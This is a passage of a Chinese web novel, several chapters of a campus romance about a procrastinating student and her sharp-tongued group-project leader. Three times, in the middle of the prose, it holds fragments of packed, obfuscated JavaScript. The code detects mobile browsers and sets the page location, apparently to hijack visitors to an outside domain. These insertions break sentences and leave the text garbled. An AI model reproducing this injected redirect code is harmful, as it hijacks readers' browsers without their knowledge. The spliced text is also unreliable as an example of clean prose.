努力在天赋面前似乎不值一提。 虽然她也就是努力了一晚上吧。 后背忽然被人戳了戳。 明瑶回头，吓了一跳。 那人用毛衣针戳的她，怪不得有点疼。 乔之淮小声说：“我拍了你好几次，你都没反应。” 明瑶愣愣地点点头，一边看着乔之淮低着头十分娴熟的织着一条类似围脖的东西，一边怀疑他之前都是翘的课，她怎么从来没见过他。 “小明妹妹，上午老许说的那些话，稍微有点重了……” “我明白你的意思。”明瑶摇摇头：“没关系的，我不会往心里去的，我知道他肯定不是故意的。” “不是。”乔之淮抬头看她。 “他就是故意的。” “……” “我看了你的图纸了。”乔之淮用毛衣针挠了挠头，“和1班的比，虽然是差点吧，但也没那么差……” 乔之淮安慰她：“他就是那个德行，对别人要求高，对自己要求更高。” “你别看老许那么装，其实他昨晚也是搞了好久的建模。” 明瑶一愣：“他也要弄很久吗？” 乔之淮撇了撇嘴：“他是学霸，又不是神仙。” 明瑶若有所思地点点头，转过身从包里掏出电脑，开机，然后打开了建模软件。 说得对，谁也不是神仙。 既然基础差，就要挤出时间来多练习基本功。 后背又被戳了一下。 明瑶懒得回头：“你给我发信息说，行吗？”他还继续戳。 “马上建完了，等一下。” 偏偏他还坚持不懈地一直戳。 明瑶无奈，转过头去，才发现刚刚正滔滔不绝地讲自己的光辉奋斗史的刘老头不知道什么时候转移到后排来了。 乔之淮的半成品围脖和毛衣针已经被他缴获了。 刘老头敲了敲她的桌边：“用功呢？” 储怡然被敲醒了，一脸懵地看着明瑶，一脸“我是谁，我在哪儿，我要干什么”的状态。 有时候太专心致志了也不好，后座其他人早就把摸鱼的证据都收了起来。 明瑶心虚地摸着鼻尖：“老师，我基础太差了，抓紧时间练练建模。” “这就是你在我的课上还看其他老师的网课的理由？” 明瑶：“？” 刘老头很愤怒：“你背着我找其他的老师——” 他打了个酒嗝。 “的课。” “……” 后续就是明瑶和乔之淮被刘老头叫到办公室挨了半个多小时的呲。 明瑶和乔之淮跟小学生一样低头站着。 有进来的老师看他们这可怜样，劝刘老头：“刘老师，算了吧，别气着自己。” 名校里的老教授，带着一股上世纪遗留的特有的执拗，或者可以说是责任感，明明自己忙得要死，但绝对不会放弃教育学生。 刘老头从抽屉里找降压药：“你不知道这俩学生多可气，上课织毛衣，开着电脑看网课，督导都把短信发我手机里了！” 乔之淮弱弱地说：“老师，我那是围脖……” “闭嘴！”刘老头怒喝，“你信不信我把这围脖送你导员那儿去？” 乔之淮老实了。 “滚蛋吧。” 这句话是对着乔之淮说的。 乔之淮十分欢快地说了声“老师再见”，临出门的时候被刘老头补了一句，“这周的作业你做两份。” 欢快的身影顿时变得有些悲伤。 乔之淮走了，像是带走了刘老头的醉意，他慢悠悠地拿起保温杯喝了口水，刚才的怒火好像少了一大半。 “刚上课画的图呢？” 明瑶立刻把电脑从包里拿出来，打开，放在刘老头桌子上。 刘老头把近视镜摘下，找出老花镜戴上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14953977|160949||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，很认真地看着屏幕。 这让她回想起以前上学的时候老师把她叫到办公室，只不过一般都是特地表扬她的。 刘老头总让她想起以前的班主任，也是一个穿着千层底的老头，总是笑眯眯地说她是市一中数一数二的尖子。 区别是到了这里，她成了垫底。 “还行。” 刘老头这才看她：“明瑶，你这图反复改了不少次吧？” 明瑶点点头。 “就是水平确实差点，也不用着急看网课，长城不是一天建成的。” “你组长是许镌对吧？”刘老头吸溜了一口茶水：“平时和他多交流交流，有问题可以请教他，学点东西。” “省得逢年过节，你妈找我拜年，我都不好和她交代。”刘老头说，“她很关心你。” 明瑶默了两秒，缓缓地点了点头。 她走到门口，听到一声利落的敲门声，刘老头还没说请进，那人就走了进来。 明瑶愣了一下，冲他点了下头，转身就想走。 “说曹操曹操到。”刘老头挺高兴，“你组长来了。” 明瑶：“……” 许镌没料到她在，面无表情地斜挎着电脑包，看了她一眼，立刻把视线移开。 “你们相处得还融洽吧。” 明瑶违心点头：“融洽融洽。” 头顶忽然传来一声嗤笑，很轻。 刘老头指着许镌：“他是尖子，各方面都是一顶一的好。” 脾气也是一顶一的臭。 他的话语里透出几分得意，“你们都是同学，一定要团结友爱，互帮互助……” 明瑶又听到身边这人笑了一声。 忍得她快小叶增生了。 许镌像是和刘老头提前约好了，交了份报表就走了。 明瑶在刘老头的谆谆唠叨之下，终于被放走了。 只不过刚出门，她就发现自己的好组长还站在门口，插着兜低着头，往门口一拦，活生生一个拦路虎。 走廊来往间不少学生，装作不经意间投来打量的眼光。 “我明天肯定把图纸交给你——” “不着急。”他倚在门框上，声音依旧懒洋洋的，“明年再交。” 明瑶被他挖苦的已经没脾气了，“我回去找宿舍的同学帮帮忙，她画图很好的，我保证不耽误进度……” 话没说完，他忽然扔过来一卷稿纸。 明瑶连忙接住，看他斜过来一眼，才把稿纸打开。 她负责的部分的草图，画得这么精细，只会出自一人之手。 随身放包里，这是特地打算给她。 明瑶一愣，抬眼望向好组长。 “按这个建模。”好组长看她，“再做不好整死你。” “......” 她算是明白他为什么没女朋友了。 饶是这样，她还是说了声谢谢，刚想走，又被他堵住了。 “记得填拖延症问卷。”好组长说，“记录每日数据。” 明瑶点点头。 这厮还是堵在她身前不走。 明瑶已经被他折腾得毫无进攻性了：“还有事吗？” “给我写份观后感。” 明瑶拿人手短：”好。“ “五千字，今晚交。” 明瑶：“？” “羊毛卷可是让手写的！写那么多字干什么？” 许镌理直气壮地看她一眼：“平时分啊。” “……” “互相友爱啊。”他的声音又好听又欠揍，“课代表。” 8. 拖延第八天 明瑶并不是一个不善言辞的人，但一遇到许镌，她就疑似失去了所有的手段和力气。 她毕竟拿人手短，给人家写点作业也是应该的。 她一边这样说服自己，一边去了图书馆，对着许镌的草图开始用软件开始建模。 为了防止自控力不高玩手机，她特地下了个锁机软件，但好像用处不大。 明明上一秒她还在开着建模软件，中间好像断片了一秒。 再一看电脑，屏幕显示的就是最近热播的一部古偶剧。 明瑶连忙关掉网页，继续看着许镌画的草图。 搜资料的功夫，她走了下神，再回神发现，自己已经打开了游戏的界面了。 是谁把这个游戏装在她电脑里面的？！ 明瑶叹了口气。 世界上真的有人能做到百分百专心做好一件事吗？！ 明瑶感叹着，脑子里忽然浮现出一张帅气又刻薄的脸来，忽然打了个激灵。 她强迫自己回想起许镌那张傲慢又可气的脸。 好像管点用了。 渐渐地强迫自己专心下来后，时间比想象中过得要快。 搞完自己的那部分之后，她特地备份保存到了U盘里一份，然后才带着电脑打道回府。 临近闭馆，图书馆里的学生像罐头里的沙丁鱼一样往外挤，她背着包从缝隙中艰难穿越，还被人踩了一脚。 “对不起”和“没关系”几乎是同时说出来的。 明瑶抬头，发现是同样来图书馆学习的祝晚宁。 祝晚宁有些尴尬：“你也来学习啊？” 明瑶点点头，“偶尔也是想来努力一下。” “哦，挺好的。” 两个人沉默着跟着龟速蠕动的人群往外挤，而后又相背而行。 － 宿舍还没熄灯，宋时薇戴着耳机正一脸甜蜜的和对面打着电话，储怡然支了张床上桌正在吃泡面，看到明瑶过来还问她要不要来一口。 明瑶摇了摇头，把电脑放到桌子上，戴上耳机，点开羊毛卷发在群里的话剧，打开播放着，边看边查资料。 五千字的读后感，还要原创，光水文也凑不够。 她又不是网文写手。 明瑶看到一半，给陶桃发了条信息。 日月：【你说周朴园的第一个老婆，会是个什么样的人呢？】 那边可能有事，一直没回复。 储怡然吃完泡面，从床上爬下来，以百米冲刺的速度去了厕所，回来的时候，瞅了两眼明瑶的电脑屏幕，哎了一声，又上去了。 明瑶戴着耳机没听见。 手机震动了一声，她连忙解锁。 陶桃：【吃错药了？】 明瑶戳了戳屏幕回她：【选修课作业。】 陶桃：【随便用AI写一篇啦。】 日月：【我想好好写。】 陶桃：【你什么时候变得这么勤快了？】 日月：【生活所迫。】 陶桃：[当代名篇鉴赏笔记] 文学系的学生笔记就是专业，明瑶参考着上面的知识点，洋洋洒洒地写了五千字，发给陶桃让她帮忙改改。 陶桃：【不用改了，写得比我们班上好多人都要好。】 陶桃：【你要是来我们文学院正经学学，估计能把我们班第一都顶下去。】 明瑶被她的彩虹屁吹的心里发虚，说了句“谢谢”，然后把读后感发给了许镌。 那边回得倒挺快：【手写。】 明瑶咬着牙回了个“好”过去。 再把手写的读后感赶出来之后，已经到了深夜。 明瑶给这位大爷发了过去，等他审阅。 大爷轻飘飘地回了俩字。 【凑合。】 然后又一口气发过来三个文档。 [拖延症患者日常行为调查问卷（最新版）]。 X：【填。】 X：【十分钟。】 明瑶盯着屏幕两秒，果断给他加上了个备注。 日月：【好的呢。】 许扒皮：【建模呢？】 她指尖飞速地在屏幕上戳来戳去，都快打出残影了。 【群里计划的建模是下周前做完，我就算明天做完也不会耽误你的进度吧？！我刚帮你手写完了读后感，还要填几百道题的调查问卷，你觉得我还有劲做建模吗？我又不是你，跟生产队的驴一样——】 “和谁聊呢？” 明瑶一愣。 “一会儿高兴一会儿生气的。”宋时薇把她看心虚了，“典型的恋爱特征。” 恋爱，呵呵。 明瑶嘴角微抽，“小组同学。” “又不是重要的人。”宋时薇翻了个身：“小组作业里奇葩那么多，作业做完了就分道扬镳，何必要浪费时间生气。” 对哦。 他们也不怎么熟，生什么气。 明瑶果断地删掉了聊天框里的一阵输出，盯着屏幕上的质问，手指悬在屏幕片刻，最后很没骨气地回了个“快完了”，而后生无可恋的按灭了屏幕。 － 转眼这周又过去了一半，熄灯前，明瑶看到羊毛卷在群里催收作业的时候，才想起来自己的观后感还没写。 她一边赶作业一边看到羊毛卷在群里特意表扬了许镌的观后感，写得十分用心，不仅内容独到，而且字体工整，还是班里第一个交的，要给他加十分平时分。 坐她旁边打游戏的宋时薇愣了一下，弯腰：“瑶瑶，你笔怎么摔断了。” 明瑶接过，说了声“谢谢”，找出作业本，以高考语文考试最后五分钟的生死时速开始赶观后感。 手机接连几声振动，她也没有心思看了，追求速度就得放弃质量。 不到一个小时赶出来的观后感，不仅字写的像狗爬，而且她都想不起来自己的写的什么，赶在作业截止前一分钟才卡点交上。 每次生死极速的交完作业，明瑶都会在心里暗骂自己一声，警告自己下次不要再拖，然后继续拖下去，陷入一个懊悔拖延再懊悔的死循环。 偶尔回味起来这种无力感，还会淡淡地伤感一会儿。 带着这种感伤的心情，她打开某易云，“感伤”的睡了。 － 翌日清晨，明瑶是被连续几声震动给吵醒的。 手机响了好几下，她慢半拍给手机解锁，校内系统的中秋放假通知从屏幕上的大脑门通知栏上冒出来，她还没顾得点进去，就看到几条未读消息。 来自“AAA妈妈”。 明瑶愣了一下，指尖悬在屏幕片刻，然后才点开了消息。 明丽女士转发了一条非常标题党的公众号推文，无非是今年毕业的大学生数量又创新高，就业形势十分严峻，即使是华大和河大的学生，也很难找到理想工作。 预计2027年毕业生的数量会高达1500万人，大学生们应该有危机意识，早点树立目标，早做准备。 转发了这篇文章，后面明丽女士问她，有什么感想。 明瑶叹了口气，摆明了就是明示她一定要好好学习，跟过来的一句语音，她戴上耳机，然后才点开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14953978|160949||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “上了大学就轻松了，那都是老师骗你们的，大学是人生很关键的阶段，一定要严格要求自己，有计划地过好每一天，今年的学习计划要列好。” 明瑶一愣，看向了贴在桌面上的小便签。 那是她刚开学的时候就列好的计划，同样也被她写到了备忘录里，日日提醒自己。 一共三条。 一是高数别挂科、二是早日逃离这个破专业、三是别在学院垫底。 一年过去，纸条已经泛黄。 指间停顿在屏幕上两秒，她回复了句“我知道了”。 不回复还好，一回复就是一个电话立刻打过来，铃声一响，宋时薇立刻翻了个身，没醒。 吓得她随便披了件衣服，出门接电话。 现在是清晨，走廊里灯光暗淡，她几步下楼，走到了门口，确定无人的地方，才接通电话。 “怎么才接电话？” 明瑶小声解释，“我刚下楼，宿舍其他同学还在休息。” “这么晚了还睡懒觉啊？”明丽忧心忡忡地说，“你们现在这群孩子也太懈怠了点。” “大家平时太累了，没早课，所以就——” 明丽不耐烦地打断她：“她们是她们，你是你，你是个乖孩子，平时多和学习好的同学交往，近朱者赤，近墨者黑。” 明瑶的心里浮出一丝微妙的不舒服，又被她强迫按下。 明丽女士滔滔不绝一番奋斗论后，听她这边默不作声的没反应，干脆换了个话题。 “中秋放假的车票买了吗？” 明瑶一愣：“妈妈，我中秋有事，不回家了。” “什么事？” “学校活动，去敬老院看望老人。“明瑶听到对面“啧”了一声，连忙补充，“加综测分。” “那你去吧。”明丽声音带着不满，“妈妈都多久没看到你了，不放心啊，太想你了。” 明瑶一听她这句“不放心啊”的口头禅，就知道她后面要说什么了。 这句话从她进了华大之后，就被明丽提了无数次。 “我现在就后悔，当年工作调动就应该来华城，租个房子和你一起住，跟你高中一样，你学习和生活上的事都有我操心，你又听话，那多好啊……” 明瑶看着宿舍门口逐渐打着哈欠出来的学生，默不作声地听着。 这一堆抱怨说完，明丽的心情好像才好了一点，“回去吧，妈妈不打扰你休息了，回去学习吧。” 到底是休息还是学习。 外面忽然响起一声闷雷，她顶着风买了三份早餐回去。 宋时薇已经醒了，轻手轻脚地接过她买的小笼包和豆浆亲了她一口，转了账，然后趴在桌上开着电脑，填着中秋节去敬老院表演节目的报名表。 明瑶看到羊毛卷判了作业成绩，她的上面打了一个鲜红的C。 明瑶这才看清自己昨晚写得那堆乱七八糟是什么东西，一堆台词拼凑出来的八百字，看着看着，她忽然就想问陶桃一个问题。 【你说周朴园给繁漪喝的药，是毒药吗？】 陶桃这次回得很快。 【也许有，也许没有，但这不重要。】 明瑶不明白这是什么意思。 陶桃：【药不过是一个服从的信号，先给她扣一个帽子，说你有病你就有病，目的不过是要她服从这个封建大家长的一切要求而已。】 陶桃：【总而言之，就是逼她听话，不要有别的想法。】 外面好像开始下雨了，雷声催着雨点落下，她把豆浆和困扰一同喝下。 9. 拖延第九天 日上三竿之后，宿舍剩下的最后一位还未醒来的同志开始垂死挣扎。 明瑶坐在储怡然斜对面，听着她闹钟响了至少十几次。 每响一次，被窝里就伸出一只手来，以迅雷不及掩耳盗铃之势立刻按下手机，隔五分钟，再按一次，动作熟练迅速地都能形成了残影。 宋时薇十分缺德地掏出手机，兴致勃勃地开始录制视频，明瑶越拦她越起劲，笑嘻嘻的录完了全程，戳动着屏幕，十有八九又在制作搞怪视频。 有人在看乐子，明瑶在照镜子。 要不是今早那通电话，她肯定和储怡然一样在床上并肩作战呢。 储怡然听到手机信息的振动声，艰难地睁开了眼睛，拿起手机看了一眼，“啊”了一声，步履蹒跚的爬下床梯，一个饿虎扑食，结果几下就被宋时薇制住了。 宋时薇献宝地捧上包子豆浆。 “大王饶命。” 储怡然哼了一声，傲娇地去上厕所了。 宋时薇掏出小镜子干脆利落地化了个快手妆，说今天有个展子，背着个单反就出去了。 储怡然上完厕所出来，看到宿舍就剩她一人了，愣了一下，“时薇呢？” “出去了。” 她看起来好像有点失望，坐在明瑶对面低头，好像看了一会儿手机，忽然问她：“瑶瑶，你英语作业写了没？” 明瑶一愣。 “参考一下呗。” “还没。” “真的？”她眼珠转了转：“我看你这几天挺用功的啊。” “还行吧。” 明瑶开着电脑，实际上在磨洋工，从早晨就开始准备写英语作业，准备了两个小时了，还没动笔。 准确地说，还没点开英语老师的作业通知。 明瑶做好了心理准备，然后才给手机解锁。 英语老师还没催收作业，她漫无目的地宠幸了每个App，意识回魂的时候，才发现【你咋不上天呢】群聊，＠到了她。 她之前都是和许镌、乔之淮三个人在小群聊天，大群除了偶尔有一个叫蒋一昂的每天转发学校航模社的推文之外，都没人说话。 这还是分工之后，第一次上天大群又有任务。 乔之淮＠全体成员：【各位大佬，下午四点，来老地方一趟，许老板要求大家交流一下小组作业的进展，有空的报1。】 蒋一昂：【1。】 周钰：【1】 江序南：【1】 明瑶连忙跟着发了个“1”过去。 然后她才后知后觉地反应过来，她根本不知道这个“老地方”是什么地方，只好私戳了一下乔之淮。 乔之淮立刻发了段语音过来。 “不好意思，我忘了你不知道哈，老地方就是活动中心旁边的旧图书馆的拐角的那个的要死楼三楼，应该挺好找的哈。” 明瑶：“……” 她果断地问他：【有地图吗？】 “就是那个总是有人跳楼的宿舍楼啊，每年期末考试和毕业季都跳下来十个八个的那个楼。” 乔之淮好像在外面，背景音有些嘈杂，“那楼刚刷的漆，你仔细找，最新的那栋就是……别啊，大哥，那是我汉堡——” 语音最后是一声清落的嗤笑。 他这么提醒，明瑶就想起来了，要死楼是不就是老校区那边的废弃宿舍嘛。 14号楼。 谐音“要死”。 她大一来的时候就听说过要死楼的传闻，14号楼偏安一隅，是她还没出生的年代，华大响应国家政策，大学扩招后花重金强行迁走了一处墓地，盖出来的一栋宿舍楼。 前不着村后不着店的。 后来几乎每隔两三年，那栋楼就会出点意外，不是失火，就是斗殴，还有一次有学生偷着在宿舍里做实验，差点把半栋楼都炸了。 她入学的时候听说，因为那个地方很隐秘，所以有一些想不开学生去那里做了傻事。 后来学校就把这栋楼里的学生清了出来，安排到了别的楼里。 这栋楼闲置下来，平时又没什么人看管，大多数房间都空着，一些在图书馆和空教室抢不到座位的胆大人士，会在期末周去那里复习。 她用肚脐眼都能想出来，这鬼地方肯定是许镌挑的。 她顾不得想入非非，连忙打开电脑又细化了一下她负责建模的部分，下午三点半，她带着电脑提前到了“要死楼”的三楼。 门口挂着“请勿打扰”的牌子，明瑶谨慎地敲了敲门。 开门的是个戴着黑框眼镜的男生，看起来有点干巴巴的瘦小，眼睛明明是从上往下看她，却带着那么股腼腆。 屋里和外面的叙利亚战损风比起来简直是大相径庭，三四楼都被打通了，高级奢华的木雕扶梯，红木地板，巨大的吊灯，一男一女坐在真皮沙发上，听到动静齐齐抬头看向她。 明瑶开始怀疑自己是不是走错地方了。 这几个人怎么看，怎么都不像她找的那几个学霸。 尤其是沙发上的两人，西服套装和缎面裙，男帅女靓。 她踩着人字拖穿着件起皱的半旧T恤，对比之下有点莫名的心虚。 “请问你们是来参加小组讨论的吗？” 明瑶后悔自己的问得太正式，正式的古怪。 腼腆小男生又用那种看她多一眼就快要钻到地缝里的那种眼神瞅了她一眼。 末了，终于艰难地从声带里挤出来个“嗯”，声音小到微不可闻，好像蚊子是他家亲戚。 沙发上的女生终于站起来了，向她走近两步，眉梢一挑，笑起来嘴角挤出标准的两颗标准的酒窝，“明瑶吗？” 明瑶连忙点头。 她不着痕迹地打量她了一眼，随即自我介绍：“我是周钰。” 沙发上的另一个男生随即起身，对她笑得也很客气。 “久闻其名，今天终于见了其人了，没想到航院还有位这么漂亮的同窗。”西装男生声音很文雅，“我是江序南。” “我们刚从社团招新那边过来，打扮得不比较正式。”江序南注意到了明瑶心虚的眼神，“没关系的，随意点儿，同学，别紧张。” 他这么一说，她更紧张了。 小组讨论整得跟社团招新一样。 江序南忽然笑了笑，瞥了一眼旁边的男生：“你怎么跟他一样啊，闷葫芦？” 一直杵在原地的小男生忽然说话了，“我不闷。” 江序南闻言哈哈大笑。 “我叫蒋一昂。”小男生开口说话了，似乎为了证明自己不是闷葫芦，自我介绍格外正式，“草字头的蒋，第一名的一，高昂的昂。” 明瑶看他伸过来的手，颇为郑重地回握了一下，“你好。” “其实是万年老二。”江序南笑了笑，重重地拍了拍他的肩。 蒋一昂揉了揉肩膀，慢吞吞地反驳，“谁让第一是许镌呢……” 他有点南方口音，咬字稍微有点不清，许镌从他嘴里说出来，更像“死卷”。 明瑶差点没忍住笑。 “也对啊，那可是许大神嘛。” 江序南说。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14953979|160949||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 明瑶觉得自己不应该插入这个话题，毕竟她和他们现在都不太熟，只好一味地沉默的倾听着。 “骂谁大神呢？” 门口一声细微的猫叫，紧跟着长腿踹开了门。 秋雨过后的天气，泥土混着青草的清芳，裹挟着清凉的风扑面而来。 周钰站起来：“许镌？” 明瑶转头。 看到许镌和乔之淮两人站在门口，许镌怀中的猫“喵”了一声，不太应景。 “夸你呢，都说你是学神，许神。”江序南顿了顿，“神嘛。” “别客气。”他毫不客气地一屁股坐在沙发上， “学神担不起，学霸就行，许霸听着多霸气。” “你要高兴的话。”他话锋一转。 “叫霸也行。” 那人的语气嚣张利落。 明瑶怀疑他在玩谐音梗。 乔之淮没忍住，笑喷的口水溅到了蒋一昂的脸上，“哈哈哈你够了哈老许！你去说脱口秀算了！” 明瑶从包里掏出一张纸巾递过去，乔之淮跟给小猫洗脸一样给蒋一昂擦了一遍：“不好意思啊小蒋，都怪老许。” 许镌懒得理他，把quick放到脚边，就开始捣鼓电脑。 江序南没有因为这个玩笑生气，尴尬地笑了笑，看着周钰和许镌聊上了，插了句嘴。 “咱们现在开始吧。”江序南说，“大家都等了挺久了。” “不着急。”周钰笑着说，“我们也刚来没多久。” 蒋一昂张了张嘴，没开口。 明瑶看到了：“要不快点开始吧，回去大家还有时间写作业。” 许镌斜眼看她：“你还着急交作业？” “……” 你别忘了你的观后感作业还是我交的！ 明瑶微笑：“着急。” 许镌又把头转回去了，指了指沙发的空余位置，示意他们坐下。 沙发围成一圈，她坐在最边上的位置，离许镌最远。 许镌瞥她一眼，一撇嘴，低头吩咐：“都开电脑。” “不带的脑子就记在电脑上。” 明瑶面无表情的拿出电脑，重重的按了下开机键。 首先在群里展示的肯定是许镌的建模，优秀的像是课本上的示例。 问大家有什么修改意见，自然都是称赞，没人能挑出毛病。 乔之淮的相对而言，逊色了一些，珠玉在前。 但依旧是很不错的水平，比她强上很多。 江序南和周钰断断续续地提了些改进的建议，许镌低头，手下没停，一直记录。 他认真思考的时候，神色好像一直淡淡，或者说是淡然。 明瑶坐在边缘的位置，一直听着，插不上嘴。 水平差得太多，不说好歹是藏拙。 小组作业最讨厌的就是浑水摸鱼的人，而她现在好像就是这个摸鱼的人。 学霸们表面上不说，实际上客气疏远，成绩差得如同天堑，自然也被排除在外。 进入华大之后，她经常能感受到这种氛围，说不习惯其实也习惯了。 到底是从什么时候开始变得这样的，明瑶出神。 结果刚出了一半的神就被拽回来了。 “明瑶。” 众人的视线齐齐落在她身上。 这是许镌半小时来开口说的第一句话。 “你的建议。” 明瑶愣了一下，“我说得不好，还是——” “说。” “现在就说。” 10. 拖延第十天 许镌这句话的语气颇为霸道，配合着他倚着沙发背跷着二郎腿的动作，看起来不像是小组之间回答问题。 更像是香港电影里的黑/帮老大对着小弟严刑逼供。 也是这颇为强硬的口气，引得其他人都把目光投到她身上。 尤其是乔之淮同学。 看得明瑶心里发虚。 其实刚才大家七嘴八舌地都说得差不多了，没有留给她什么发挥的空间。 一份称得上优秀的建模，明瑶抱着电脑又仔细地看了一遍，觉得自己好像是在鸡蛋里挑骨头，她实在挑不出来。 “其实挺好的。” 一声嗤笑。 乔之淮失望的“啊”了一声，无奈地挠了挠头，对她的回答不太满意，“小明妹妹，你就不能多说一点啊？就挺好的吗？” 明瑶盯着电脑屏幕，绞尽脑汁地调动着脑细胞，终于挤出来点意见。 “底座的面积很合适，但是就是头部的感觉不太对……” 此言一出，众人一愣。 乔之淮立刻就蹿到她面前了：“哪里感觉不对啊？” “就是不太对……” “还没想好吧？”周钰笑了笑：“说得模棱两可的，这可不行。” “别这么苛责。” 明瑶一愣。 “她只是脑子不清楚。”许镌靠在沙发背上，不紧不慢地为她说话，“表述不清。” 明瑶：“……” 这话她怎么听着这么耳熟呢？ 许镌起身，冷不丁地，忽然走到她身前。 “头部感觉不对？” 明瑶点点头。 “看过四号的设计吗？” 明瑶抬头：“神舟四号？” 对着她的是一张带着毫不掩饰的嘲讽表情的帅脸。 “神四的头部是半球体。” 明瑶想起来了：“五号改进了一下，改成了——” “圆柱。” 众人再看向屏幕，发现乔之淮的建模的头部，看起来是不太对劲，有点像圆柱，也有点不像，长度不对，看起来就有点别扭。 “下次开口之前先动动脑子。” 他离得太近，明瑶又被迫近距离地对上他的目光，长睫轻扫，黑眸如同一潭平静的死水，毫无波澜。 仿佛面前坐着的是个不值得生气的傻子。 “没那么夸张。”江序南说：“毕竟她刚来，能看出来我们都没发现的问题，已经很不错了。” 明瑶感激地看了他一眼。 “那是因为你们都没动脑子。” 江序南被呛了一句，讪讪地笑了笑，不再说话。 还是乔之淮记完了改进的细节，然后点明瑶介绍自己的部分。 和两个学霸相比，她的建模无疑逊色了许多，迎来的当然是不少改进意见。 大家七嘴八舌地给她提了一些细节问题，她手不停地都记在手机备忘录里。 令她有点意外的是，许镌这个挑刺大王居然没说多少，反而一直低着头对着电脑，手下的动作一直不停，不知道在干什么。 “那个……许镌。”明瑶主动叫他，“你有什么意见吗？” 许镌抬头，眼神漫不经心地停留在她身上片刻。 “有啊。”他嗓音依旧懒洋洋的，“我就不说了。” 明瑶：“？” 这简直是故意吊她胃口。 “为什么？” 他指了指她的身后。 其他的人视线都随着他修长手指指的方向看去。 一个挂钟。 “时间不够。”他的声音平静随和，“你问题太多，说不完。” “……” 明瑶努力压制住想过去用透明胶把他粘上的冲动，继续整理记录其他人的意见。 蒋一昂专门给她发了自己之前参加航模社做的类似模型时的笔记过去。 明瑶连忙道谢，最后归纳完之后，已经到了日落时分。 她关上电脑，看向其他人，都在低头忙自己的事。 许镌的头顶跟长了眼睛一样，蓦地抬头。 “回去写作业？” 她开始回忆，宋时薇的桌子上好像是有管502来着。 “嗯。” “那就回去吧。” 明瑶以最快的速度收拾完包，连忙往门口走。 她真是多一秒都待不下去了。 走到门口，一声不咸不淡的声音传来，“回去改好。” 她回头，看到那厮正在慢悠悠地撸猫。 “今晚交。” 关门的声音略大。 乔之淮被吓了一愣，挠了挠头，“老许，你是不是有点那个——” 许镌懒得抬头：“说。” “残暴。” “滚蛋。” 许镌催他：“猫条呢？” “忘了。”乔之淮一拍脑袋：“驿站还没关门，我赶紧去拿。” 说着就急匆匆跑出去了。 看乔之淮走了，江序南忽然开口，“这个组员是不是就是之淮招的？” 许镌没搭理他。 “之淮说是刘老师推荐的。”周钰说，“说她比较擅长画图建模，就拉进来了。” “是这样吧，许镌？” 许镌“嗯”了一声，没抬头。 “她的水平不适合留在咱们组。”江序南说，“拖大家后腿。” “你建模的材料买完了？” 江序南一愣：“还没，我不是故意拖进度啊，最近招新太忙……” 许镌面无表情地翻了个白眼。 “还好啦。”周钰打圆场，“毕竟她不是一班的人，不能用对我们的标准去要求她，而且计划的进度也没定这么紧。” 蒋一昂小声插了句嘴：“我可以多帮帮她的，其实她挺有潜力的。” “其实这个小组作业没那么重要。”周钰不着痕迹地瞥了一直低头的许镌一眼， “下个月的NUC才是重头戏。” “不重要就别做。”许镌皱眉，“划水啊？” 被他一噎，周钰面上多少有点过不去。 她好歹也是航院的尖子，绩点年级前十，自己就能当组长，没必要来他的组混成绩，她愿意来着这个组是乔之淮死皮赖脸磨她，把她请来的。 虽然她不得不承认，她愿意来许镌这组，心里存了一点微妙的心思。 但来了个这个组后，发现他着实不是盏省油的灯，卷王只会平等地折腾所有人。 那点微妙的缱绻心思，也被他折腾得所剩无几。 虽然她知道，也许许镌一个眼神，她对他的好感也许又会没有出息的春风吹又生。 她从不缺追求者，也不是没见过世面。 有句话说得好，不在海市不知道钱少，不在华城不知道官小。 华大更是卧虎藏龙，追她的从开着库里南地到炫耀自己爹是局长，应有尽有。 她都瞧不上。 从小在祖辈的余荫下庇护着成长，她并不懒散，相反很要强。 所以根本瞧不上这些吃着父辈的余荫炫耀的草包。 她没那么浅薄，人都是慕强的。 在大院里长大，她见过形形色色的二代，明白有些人天生就是有那么股劲，有能耐脾气臭，却吸引一群人听他的领导。 许镌无疑就是这种人。 并且还是她见过的最优秀的那个。 并且，她还对他有点好奇。 她原本以为他们是一类人，聪明通透，知道抓大放小，她们这个专业，有些该争，有些没必要认真。 可她看不透他，就像看不透他为什么允许明瑶这种学生进组。 乔之淮有一次说了句，明瑶长得很漂亮，她以为这是他破例的原因，所以今天来之前特地换了条新买的裙子。 可今天看，他对她的态度很差。 对人家从头到脚看不出来一丝好感，怼她怼的毫不留情，把人家小姑娘都怼的差点哭了，这哪有一点喜欢的苗头。 这就更让她好奇了，这姑娘是怎么和他搭上的。 她确实足够漂亮，性格也好，但这绝不是许镌瞧上她的原因。 怎么说呢——学神对学渣，俩人应该是平行线，永不相交才对。 - 